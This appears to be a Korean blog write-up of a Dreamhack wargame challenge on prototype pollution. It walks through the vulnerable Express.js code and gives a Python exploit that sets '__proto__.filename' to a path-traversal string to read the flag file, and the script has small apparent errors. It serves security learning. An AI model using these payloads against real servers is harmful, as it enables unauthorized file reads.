Prototype Pollution 개념
Concept of Prototype Pollution
https://dreamhack.io/wargame/challenges/643
난이도: Level 2
app.py
path: /
const express=require('express');
const bodyParser=require('body-parser');
const ejs=require('ejs');
const hash=require('crypto-js/sha256');
const fs = require('fs');
const app=express();
var file={};
var read={};
app.use(bodyParser.urlencoded({ extended: false }));
app.set('view engine','ejs');
app.get('/',function(req,resp){
read['filename']='fake';
resp.render(__dirname+"/ejs/index.ejs");
})
...
app.listen(8000);
"/" 경로는 read.filename에 fake 문자열을 넣고, index.ejs 파일을 랜더링 합니다. fake 파일은 bisc{fake_flag} 내용을 담고 있습니다. 즉, filename 속성 값을 변조하여 FLAG를 획득하는 문제임을 알 수 있습니다.
path: /mkfile
app.post('/mkfile',function(req,resp){
let {filename,content}=req.body;
filename=hash(filename).toString();
// hash format filename
fs.writeFile(__dirname+"/storage/"+filename,content,function(err){
if(err==null){
file[filename]=filename;
resp.send('your file name is '+filename);
}else{
resp.write("<script>alert('error')</script>");
resp.write("<script>window.location='/'</script>");
}
})
})
"/mkfile" 경로는 유저로부터 filename, content 값을 입력받고, filename을 SHA256로 해싱하고 storage 디렉터리에 해싱한 파일 이름으로 내용을 씁니다. 이후, file.filename에 filename 값을 넣고 파일 이름을 보여줍니다.
path: /readfile
app.get('/readfile',function(req,resp){
let filename=file[req.query.filename];
if(filename==null){
fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){
resp.send(data);
})
}else{
read[filename]=filename.replaceAll('.','');
fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){
if(err==null){
resp.send(data);
}else{
resp.send('file is not existed');
}
})
}
})
"/readfile" 경로는 file.filename 값을 가져온 후, filename 값이 null이면 read.filename 값을 읽고 파일 내용을 보여줍니다. 반면, null이 아니면 filename에 dot(.)을 공백으로 변환하여 read.filename 값을 filename으로 변환 후 파일 내용을 보여줍니다.
path: /test
var file={};
var read={};
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
// file, filename, rename
function setValue(obj, key, value) {
const keylist = key.split('.');
const e = keylist.shift();
if (keylist.length > 0) {
if (!isObject(obj[e])) obj[e] = {};
setValue(obj[e], keylist.join('.'), value);
} else {
obj[key] = value;
return obj;
}
}
...
app.get('/test',function(req,resp){
let {func,filename,rename}=req.query;
if(func==null){
resp.send("this page hasn't been made yet");
}else if(func=='rename'){
setValue(file,filename,rename)
resp.send('rename');
}else if(func=='reset'){
read={};
resp.send("file reset");
}
})
"/test" 경로는 func parameter 값이 rename이면 파일 이름을 변경할 수 있게해주고, reset이면 read 객체를 초기화합니다. 하지만, rename의 경우 setValue 함수를 호출하는데 setValue 함수에서 Prototype Pollution 공격을 수행할 수 있습니다.
file 객체의 프로토타입에 접근하여 Object.prototype.filename 값을 flag 경로(../../../../../../../../flag)로 설정하면, read.filename 값이 pollution 되어 read['filename'] 값이 flag 경로로 설정됩니다.
app.get('/readfile',function(req,resp){
let filename=file[req.query.filename];
if(filename==null){
fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){
resp.send(data);
})
}
...
}
이후, "/test" 경로에 func parameter에 reset을 주고 "/readfile" 경로에 parameter 값을 넘기지 않고 Request를 요청하면, __dirname + '/storage/' + '../../../../../../../../flag'에 위치한 파일의 내용을 읽어와 보여줌으로써 FLAG를 획득할 수 있습니다.
Exploit Code
import requests
import hashlib
url= "http://host3.dreamhack.games:17899"
data = {"filename": "bb", "content":"content"}
hash_filename = hashlib.sha256(b"bb").digest()
# the file generation
res = requests.get(url, data=data)
# prototype pollution
res = requests.get(url + "/test/?func=rename&filename={}.__proto__.filename&rename=../../../../../../../../flag".format(hash_filename))
# reset
res = requests.get(url + "/test/?func=reset")
# get flag
res = requests.get(url + "/readfile")
print(res.text)
'DreamHack' 카테고리의 다른 글
[DreamHack] Relative Path Overwrite Advanced (2) | 2023.08.13 |
---|---|
[DreamHack] Relative Path Overwrite (0) | 2023.08.13 |
[DreamHack] error-based-sql-injection (0) | 2023.08.09 |
[DreamHack] sql injection bypass WAF Advanced (0) | 2023.08.09 |
[DreamHack] sql injection bypass WAF (0) | 2023.08.08 |